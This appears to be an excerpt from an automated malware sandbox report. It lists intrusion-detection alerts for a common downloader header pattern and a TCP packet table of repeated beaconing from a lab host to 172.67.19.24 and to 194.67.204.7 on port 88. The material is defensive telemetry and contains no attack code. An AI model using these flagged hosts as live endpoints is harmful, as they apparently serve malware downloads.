2024-12-09T14:14:06.899015+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49994	172.67.19.24	443	TCP
2024-12-09T14:14:13.630369+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50010	172.67.19.24	80	TCP
2024-12-09T14:14:20.317839+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50021	172.67.19.24	80	TCP
2024-12-09T14:14:26.523182+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50023	172.67.19.24	80	TCP
2024-12-09T14:14:34.583291+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50026	172.67.19.24	80	TCP
2024-12-09T14:14:41.130094+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50028	172.67.19.24	80	TCP
2024-12-09T14:14:47.676907+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50030	172.67.19.24	80	TCP
2024-12-09T14:14:54.442475+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50033	172.67.19.24	80	TCP
2024-12-09T14:15:01.185178+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50036	172.67.19.24	80	TCP
2024-12-09T14:15:07.864248+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50039	172.67.19.24	80	TCP
2024-12-09T14:15:22.618944+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50047	172.67.19.24	80	TCP
2024-12-09T14:15:37.637427+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50053	172.67.19.24	80	TCP
2024-12-09T14:15:38.178561+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50053	172.67.19.24	80	TCP
2024-12-09T14:15:44.362516+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50054	172.67.19.24	80	TCP
2024-12-09T14:15:44.785853+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50054	172.67.19.24	80	TCP
2024-12-09T14:15:51.334402+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50056	172.67.19.24	80	TCP
2024-12-09T14:15:57.863773+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50057	172.67.19.24	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 14:12:09.245723009 CET	49704	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:09.365972996 CET	80	49704	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:09.366061926 CET	49704	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:09.370579958 CET	49704	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:09.489947081 CET	80	49704	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:10.460917950 CET	80	49704	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:10.463355064 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:10.463407993 CET	443	49705	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:10.463476896 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:10.505367041 CET	49704	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:10.550622940 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:10.550648928 CET	443	49705	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:11.767957926 CET	443	49705	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:11.768126011 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:11.771980047 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:11.771991014 CET	443	49705	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:11.772274017 CET	443	49705	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:11.817878008 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:11.825124025 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:11.867357969 CET	443	49705	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:12.400613070 CET	443	49705	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:12.400711060 CET	443	49705	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:12.400804043 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:12.470053911 CET	49705	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:12.485497952 CET	49706	88	192.168.2.5	194.67.204.7
Dec 9, 2024 14:12:12.604994059 CET	88	49706	194.67.204.7	192.168.2.5
Dec 9, 2024 14:12:12.605117083 CET	49706	88	192.168.2.5	194.67.204.7
Dec 9, 2024 14:12:12.605969906 CET	49706	88	192.168.2.5	194.67.204.7
Dec 9, 2024 14:12:12.725224018 CET	88	49706	194.67.204.7	192.168.2.5
Dec 9, 2024 14:12:34.486949921 CET	88	49706	194.67.204.7	192.168.2.5
Dec 9, 2024 14:12:34.487023115 CET	49706	88	192.168.2.5	194.67.204.7
Dec 9, 2024 14:12:39.505662918 CET	49706	88	192.168.2.5	194.67.204.7
Dec 9, 2024 14:12:39.505955935 CET	49704	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:39.506767035 CET	49760	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:39.625181913 CET	88	49706	194.67.204.7	192.168.2.5
Dec 9, 2024 14:12:39.625825882 CET	80	49704	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:39.625989914 CET	80	49760	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:39.626035929 CET	49704	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:39.626104116 CET	49760	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:39.626308918 CET	49760	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:39.745912075 CET	80	49760	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:40.733129025 CET	80	49760	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:40.734461069 CET	49764	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:40.734515905 CET	443	49764	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:40.734601974 CET	49764	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:40.734874964 CET	49764	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:40.734889984 CET	443	49764	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:40.737926006 CET	49764	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:40.740523100 CET	49765	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:40.783344984 CET	443	49764	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:40.786601067 CET	49760	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:40.859816074 CET	80	49765	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:40.859890938 CET	49765	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:40.860016108 CET	49765	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:40.979269981 CET	80	49765	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:41.946403027 CET	443	49764	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:41.946527004 CET	443	49764	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:41.946657896 CET	49764	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:41.951138020 CET	49764	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:41.956856966 CET	80	49765	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:41.958260059 CET	49769	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:41.958297968 CET	443	49769	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:41.958390951 CET	49769	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:41.958764076 CET	49769	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:41.958776951 CET	443	49769	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:42.005357027 CET	49765	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:43.170602083 CET	443	49769	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:43.170730114 CET	49769	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:43.174676895 CET	49769	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:43.174685001 CET	443	49769	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:43.175102949 CET	443	49769	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:43.195729971 CET	49769	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:43.239327908 CET	443	49769	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:43.808455944 CET	443	49769	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:43.808562994 CET	443	49769	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:43.808629990 CET	49769	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:43.809176922 CET	49769	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:48.818711996 CET	49765	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:48.819469929 CET	49787	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:48.940514088 CET	80	49765	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:48.940562010 CET	80	49787	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:48.940694094 CET	49765	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:48.940752029 CET	49787	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:48.940943956 CET	49787	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:49.062139988 CET	80	49787	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:50.116533995 CET	80	49787	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:50.117472887 CET	49789	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:50.117539883 CET	443	49789	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:50.117592096 CET	49789	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:50.120892048 CET	49790	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:50.161633015 CET	49787	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:50.240370989 CET	80	49790	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:50.240497112 CET	49790	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:50.240664959 CET	49790	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:50.359983921 CET	80	49790	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:51.354226112 CET	80	49790	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:51.355218887 CET	49795	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:51.355249882 CET	443	49795	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:51.355330944 CET	49795	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:51.355551958 CET	49795	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:51.355565071 CET	443	49795	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:51.395999908 CET	49790	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:52.566220999 CET	443	49795	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:52.567933083 CET	49795	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:52.567945004 CET	443	49795	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:53.020562887 CET	443	49795	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:53.020656109 CET	443	49795	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:53.020714045 CET	49795	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:53.021158934 CET	49795	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:58.037354946 CET	49787	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:58.037430048 CET	49790	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:58.038089037 CET	49812	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:58.160094023 CET	80	49787	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:58.160188913 CET	80	49812	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:58.160340071 CET	49787	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:58.160394907 CET	49812	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:58.160403967 CET	80	49790	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:58.160458088 CET	49790	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:58.160624981 CET	49812	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:58.280018091 CET	80	49812	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:59.290079117 CET	80	49812	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:59.291364908 CET	49815	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:59.333484888 CET	49812	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:59.410690069 CET	80	49815	172.67.19.24	192.168.2.5
Dec 9, 2024 14:12:59.410800934 CET	49815	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:59.410897970 CET	49815	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:12:59.530153036 CET	80	49815	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:00.523938894 CET	80	49815	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:00.525068045 CET	49819	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:00.525110006 CET	443	49819	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:00.525178909 CET	49819	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:00.525422096 CET	49819	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:00.525435925 CET	443	49819	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:00.567851067 CET	49815	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:01.758444071 CET	443	49819	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:01.768342018 CET	49819	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:01.768373966 CET	443	49819	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:02.207564116 CET	443	49819	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:02.207654953 CET	443	49819	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:02.207712889 CET	49819	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:02.217478037 CET	49819	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:07.228652954 CET	49815	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:07.230788946 CET	49812	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:07.231262922 CET	49836	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:07.348534107 CET	80	49815	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:07.348592043 CET	49815	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:07.350548029 CET	80	49812	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:07.350601912 CET	49812	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:07.350640059 CET	80	49836	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:07.350704908 CET	49836	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:07.350838900 CET	49836	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:07.471275091 CET	80	49836	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:08.560107946 CET	80	49836	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:08.561382055 CET	49839	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:08.561428070 CET	443	49839	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:08.561490059 CET	49839	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:08.562458992 CET	49840	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:08.614808083 CET	49836	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:08.681854963 CET	80	49840	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:08.681945086 CET	49840	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:08.682054043 CET	49840	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:08.801357031 CET	80	49840	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:09.794367075 CET	80	49840	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:09.795490980 CET	49844	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:09.795541048 CET	443	49844	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:09.795608044 CET	49844	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:09.795841932 CET	49844	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:09.795847893 CET	443	49844	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:09.849147081 CET	49840	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:11.006453991 CET	443	49844	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:11.008003950 CET	49844	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:11.008033991 CET	443	49844	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:11.467642069 CET	443	49844	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:11.467750072 CET	443	49844	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:11.467816114 CET	49844	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:11.468195915 CET	49844	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:16.474561930 CET	49836	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:16.474657059 CET	49840	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:16.475445032 CET	49861	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:16.594732046 CET	80	49836	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:16.594786882 CET	80	49861	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:16.594810009 CET	49836	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:16.594855070 CET	49861	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:16.594899893 CET	80	49840	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:16.594949961 CET	49840	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:16.595082998 CET	49861	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:16.715213060 CET	80	49861	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:17.705460072 CET	80	49861	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:17.708079100 CET	49865	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:17.708138943 CET	443	49865	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:17.708203077 CET	49865	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:17.708256006 CET	49865	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:17.715667009 CET	49866	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:17.755356073 CET	49861	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:17.835078001 CET	80	49866	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:17.835324049 CET	49866	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:17.835493088 CET	49866	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:17.954787970 CET	80	49866	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:18.956958055 CET	80	49866	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:18.957966089 CET	49869	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:18.958014011 CET	443	49869	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:18.958108902 CET	49869	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:18.958340883 CET	49869	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:18.958350897 CET	443	49869	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:19.005414009 CET	49866	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:20.169433117 CET	443	49869	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:20.171540976 CET	49869	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:20.171569109 CET	443	49869	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:20.624151945 CET	443	49869	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:20.624270916 CET	443	49869	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:20.624324083 CET	49869	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:20.624831915 CET	49869	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:25.631059885 CET	49861	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:25.631211042 CET	49866	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:25.631917953 CET	49885	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:25.750766993 CET	80	49861	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:25.751074076 CET	49861	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:25.751200914 CET	80	49885	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:25.751213074 CET	80	49866	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:25.751281023 CET	49885	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:25.751298904 CET	49866	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:25.751452923 CET	49885	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:25.870702982 CET	80	49885	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:26.862850904 CET	80	49885	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:26.864495993 CET	49889	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:26.864550114 CET	443	49889	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:26.864618063 CET	49889	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:26.865489960 CET	49889	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:26.865510941 CET	443	49889	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:26.867038012 CET	49889	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:26.876905918 CET	49890	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:26.911341906 CET	443	49889	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:26.911680937 CET	49885	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:26.996351004 CET	80	49890	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:26.996488094 CET	49890	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:27.066998959 CET	49890	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:27.186348915 CET	80	49890	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:28.077914953 CET	443	49889	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:28.077994108 CET	49889	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:28.121633053 CET	80	49890	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:28.122627974 CET	49894	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:28.122664928 CET	443	49894	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:28.122721910 CET	49894	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:28.123054981 CET	49894	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:28.123068094 CET	443	49894	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:28.161659956 CET	49890	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:29.333914995 CET	443	49894	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:29.334009886 CET	49894	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:29.335423946 CET	49894	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:29.335441113 CET	443	49894	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:29.335695982 CET	443	49894	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:29.337162018 CET	49894	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:29.383341074 CET	443	49894	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:29.787369967 CET	443	49894	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:29.787465096 CET	443	49894	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:29.787545919 CET	49894	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:29.792826891 CET	49894	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:34.803478956 CET	49890	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:34.803930998 CET	49885	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:34.804466009 CET	49911	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:34.923378944 CET	80	49890	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:34.923444986 CET	49890	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:34.923764944 CET	80	49911	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:34.923835993 CET	49911	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:34.924084902 CET	80	49885	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:34.924129963 CET	49885	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:34.925534964 CET	49911	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:35.044843912 CET	80	49911	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:36.073672056 CET	80	49911	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:36.074651957 CET	49914	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:36.074711084 CET	443	49914	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:36.074832916 CET	49914	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:36.074995041 CET	49914	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:13:36.075005054 CET	443	49914	104.20.4.235	192.168.2.5
Dec 9, 2024 14:13:36.075067997 CET	49914	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:13:36.076056004 CET	49914	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:13:36.076062918 CET	49915	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:36.117240906 CET	49911	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:36.196094990 CET	80	49915	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:36.196234941 CET	49915	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:36.196400881 CET	49915	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:36.315808058 CET	80	49915	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:37.294008017 CET	80	49915	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:37.295330048 CET	49919	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:37.295377970 CET	443	49919	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:37.295439005 CET	49919	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:37.295741081 CET	49919	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:37.295753002 CET	443	49919	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:37.349148035 CET	49915	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:38.506788969 CET	443	49919	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:38.509308100 CET	49919	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:38.509340048 CET	443	49919	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:38.962848902 CET	443	49919	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:38.962973118 CET	443	49919	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:38.963036060 CET	49919	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:39.027694941 CET	49919	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:44.037214994 CET	49911	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:44.037223101 CET	49915	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:44.038141012 CET	49934	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:44.156959057 CET	80	49911	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:44.157068968 CET	49911	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:44.157650948 CET	80	49915	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:44.157727957 CET	80	49934	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:44.157814026 CET	49915	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:44.157816887 CET	49934	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:44.159759998 CET	49934	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:44.279073000 CET	80	49934	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:45.273494959 CET	80	49934	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:45.274640083 CET	49937	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:45.274691105 CET	443	49937	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:45.274772882 CET	49937	443	192.168.2.5	172.67.19.24
